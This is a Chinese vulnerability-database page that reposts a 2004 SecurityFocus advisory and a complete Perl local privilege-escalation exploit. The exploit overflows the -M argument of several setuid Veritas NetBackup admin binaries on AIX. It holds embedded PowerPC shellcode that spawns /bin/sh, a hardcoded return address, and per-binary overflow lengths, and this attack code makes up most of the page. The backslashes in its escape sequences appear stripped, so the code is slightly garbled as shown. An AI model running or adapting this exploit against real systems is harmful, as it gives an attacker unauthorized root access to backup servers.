Veritas NetBackup 3.5/4.5/5.0 – Multiple Local Memory Corruption Vulnerabilities (2)
漏洞ID | 1054462 | 漏洞类型 | |
发布时间 | 2004-04-25 | 更新时间 | 2004-04-25 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Unix | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/10226/info
Multiple unspecified local buffer overrun and format string vulnerabilities have been reported to exist in various setuid Veritas NetBackup binaries. These issues may be exploited to execute arbitrary code with root privileges.
It should be noted that these issues are confirmed to exist and be exploitable on Linux platforms, however, releases of the software on other Unix-based platforms are also believed to be similarly affected.
It is also not known at this point which specific NetBackup releases or distributions are affected.
#!/usr/bin/perl -w
#
# Veritas Netbackup 4.x and 5.x hostname overflow
#
# kf (kf_lists[at]secnetops[dot]com) - 04/25/2004
#
# This bug has not been patched as of:
# VERSION NetBackup 5.0GA
#
# /usr/openv/netbackup/bin/nonroot_admin *MUST have been run*
# if not the setuids do NOT exist
#
# AIX Version
# Starting program: /usr/openv/bperror -M `perl -e 'print "A" x 308'`ABCD
# Program received signal SIGSEGV, Segmentation fault.
# 0x41424344 in ?? ()
#
$retval = 0x2ff22dff;
$tgts{"0"} = "/usr/openv/netbackup/bin/admincmd/bperror:308";
$tgts{"1"} = "/usr/openv/netbackup/bin/admincmd/bpretlevel:280";
$tgts{"2"} = "/usr/openv/netbackup/bin/admincmd/bpclinfo:284";
$tgts{"3"} = "/usr/openv/netbackup/bin/admincmd/bpauthorize:4700";
$tgts{"4"} = "/usr/openv/netbackup/bin/admincmd/bprdreq:560";
unless (($target,$offset) = @ARGV) {
print "n Veritas Netbackup hostname overflow, kf (kf_lists[at]secnetops[dot]com) - 04/25/2004n";
print "Modded for AIX 50Ln";
print "nnUsage: $0 <target> <offset> nnTargets:nn";
foreach $key (sort(keys %tgts)) {
($a,$b) = split(/:/,$tgts{"$key"});
print "t$key. $a . $b n";
}
print "n";
exit 1;
}
$ret = pack("l", ($retval+$offset));
($a,$b) = split(/:/,$tgts{"$target"});
print "*** Target: $a, Len: $b, Offset: $offset, Ret: $ret ***nn";
$sc = "x7cxa5x2ax79" x 20;
$sc .= "x7ex94xa2x79x40x82xffxfdx7exa8x02xa6x3axb5x01x40";
$sc .= "x88x55xfexe0x7ex83xa3x78x3axd5xfexe4x7exc8x03xa6";
$sc .= "x4cxc6x33x42x44xffxffx02xb6x05xffxffx7ex94xa2x79";
$sc .= "x7ex84xa3x78x40x82xffxfdx7exa8x02xa6x3axb5x01x40";
$sc .= "x88x55xfexe0x7ex83xa3x78x3axd5xfexe4x7exc8x03xa6";
$sc .= "x4cxc6x33x42x44xffxffx02xb7x05xffxffx38x75xffx04";
$sc .= "x38x95xffx0cx7ex85xa3x78x90x75xffx0cx92x95xffx10";
$sc .= "x88x55xfexe1x9ax95xffx0bx4bxffxffxd8/bin/sh";
$ENV{"ENV"} = "";
$ENV{"SNO"} = $sc;
$buf = "A" x $b;
$buf .= "$ret";
if ($target eq 0) {
exec("/usr/openv/netbackup/bin/admincmd/bperror -M $buf");
}
if ($target eq 1) {
exec("/usr/openv/netbackup/bin/admincmd/bpretlevel -M $buf");
}
if ($target eq 2) {
exec("/usr/openv/netbackup/bin/admincmd/bpclinfo class_name -set -M $buf");
}
if ($target eq 3) {
exec("/usr/openv/netbackup/bin/admincmd/bpauthorize -M $buf");
}
if ($target eq 4) {
exec("/usr/openv/netbackup/bin/admincmd/bprdreq -M $buf");
}
相关推荐: GroupWise Web Access路径名确定漏洞
GroupWise Web Access路径名确定漏洞 漏洞ID 1204143 漏洞类型 未知 发布时间 2002-06-25 更新时间 2002-06-25 CVE编号 CVE-2002-0341 CNNVD-ID CNNVD-200206-100 漏洞平…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666